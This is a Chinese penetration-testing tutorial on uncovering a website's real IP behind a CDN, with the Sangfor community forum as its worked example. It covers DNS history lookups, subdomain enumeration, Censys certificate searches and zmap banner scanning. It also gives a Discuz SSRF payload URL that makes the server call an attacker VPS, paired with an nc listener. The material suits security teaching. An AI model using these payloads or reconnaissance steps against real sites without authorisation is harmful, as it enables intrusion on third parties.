渗透测试中真实IP查找——以sangfor社区为例

作者：xlx

CDN简介

CDN的全称是Content Delivery Network，即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络，CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。

CDN的目的是使用户可就近取得所需内容，解决Internet网络拥挤的状况，提高用户访问网站的响应速度。

验证是否存在CDN

1、nslookup

Windows下使用nslookup命令进行查询，若返回域名解析结果为多个ip，多半使用了CDN，不是真实的ip。

2、多地ping查询

使用多地ping服务，查看对应IP地址是否唯一，如果不唯一多半是使用了CDN。

多地ping网站：

http://ping.chinaz.com/

http://ping.aizhan.com/

http://ce.cloud.360.cn/

https://asm.ca.com/en/ping.php

3、 工具 查询

使用各种工具帮助检测目标网站是否使用了CDN，这里工具只能作为辅助，有一定误报的概率，只能作为参考。

查询工具：

https://www.cdnplanet.com/tools/cdnfinder/

http://www.ipip.net/ip.html

绕过CDN查找真实ip

1、查询历史DNS记录

一般网站从部署开始到使用cdn都有一个过程，周期如果较长的话 则可以通过这类 历史解析记录查询等方式获取源站ip，查看IP与域名绑定的历史记录，可能会存在使用CDN前的记录。

https://dnsdb.io/zh-cn/

https://www.virustotal.com /

https://x.threatbook.cn/

http://viewdns.info/

http://www.17ce.com/

http://toolbar.netcraft.com/site_report?url=

http://site.ip138.com/

https://securitytrails.com /

https://tools.ipip.net/cdn.php

下图可以清晰的看到sangfor社区用的是网宿的CND加速

2、子域名

鉴于CND的价格，很多站长可能只会对主站或者流量大的子站点做了CDN，很多较小站子站点又跟主站在同一台服务器或者同一个C段内，此时就可以通过查询子域名对应的IP 来辅助查找网站的真实IP。

收集工具

wydomain：https://github.com/ring04h/wydomain

subDomainsBrute:https://github.com/lijiejie/

Sublist3r:https://github.com/aboul3la/Sublist3r

layer子域名挖掘机

在线收集

https://dnsdb.io/zh-cn/

https://phpinfo.me/bing.php

http://www.webscan.cc

通过子域名挖掘机成功找到sangfor真实IP。

3、网络空间搜索引擎

常见的有钟馗之眼，shodan，fofa搜索。以fofa为例，只需输入:title:“网站的title关键字”或者body: “网站的body特征”就可以找出fofa收录的有这些关键字的ip域名，很多时候能获取网站的真实ip。

4、SMTP发送邮件

很多站点都有发送邮件的功能，如Rss邮件订阅、找回密码、邮箱注册等。而且一般的邮件系统很多都是在内部，没有经过CDN的解析。可以通过邮件源码寻找服务器的真实IP。

5、网站漏洞

扫描目标web目录 获取phpinfo探针类文件 ，基本上都存有服务器真实ip信息泄露。

在phpinfo里真实IP对应项为 ：

SSRF漏洞，服务器主动向外发起连接，找到真实IP地址

如DZ SSRF漏洞，寻找真实IP的exp为：

http://域名/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://13.250.114.92:3319/aq9w.jpg[/img]

开启VPS端口监听 nc -lvp 3319 发现服务器访问VPS，即可找到真实IP地址。

6、国外请求

通过国外得一些冷门得DNS或IP去请求目标，很多时候国内得CDN对国外得覆盖面并不是很广，故此可以利用此特点进行探测。通过国外代理访问就能查看真实IP了，或者通过国外的DNS解析，可能就能得到真实的IP。

全世界DNS地址：http://www.ab173.com/dns/dns_world.php

7、SSL证书

假如在www.wangsu.com上托管了一个服务,原始服务器IP是136.23.63.44,而wangsu会为你提供DDoS保护，Web应用程序防火墙等服务，以保护你的服务免受攻击。为此，你的Web服务器就必须支持SSL并具有证书。

Censys工具就能实现对整个互联网的扫描，Censys是一款用以搜索联网设备信息的新型搜索引擎，能够扫描整个互联网，Censys会将互联网所有的ip进行扫面和连接，以及证书探测。若目标站点有https证书，并且默认虚拟主机配了https证书，我们就可以找所有目标站点是该https证书的站点。

https://censys.io/ipv4

这里sangfor社区使用了SSL证书，censys成功查找到真实IP。

8、全网扫描

获取CN的IP http://www.ipdeny.com/ipblocks/data/countries/cn.zone， 使用zmap对全CN IP的80端口进行扫描。

root@kali:~# zmap -p 80 -w bbs.txt -o 80.txt

设置http-req，将其设置为如下的值：

GET / HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0

Host: %s

使用zmap的banner-grab对扫描出来80端口开放的主机进行banner抓取。

root@kali:~/zmap-1.2.1/examples/banner-grab# cat /root/bbs.txt |./banner-grab-tcp -p 80 -c 100 -d http-req -f ascii > http-banners.out

根据网站返回包特征，进行特征过滤location: plugin.php?id=info:index，找到数据包中包含sangfor社区相关特征。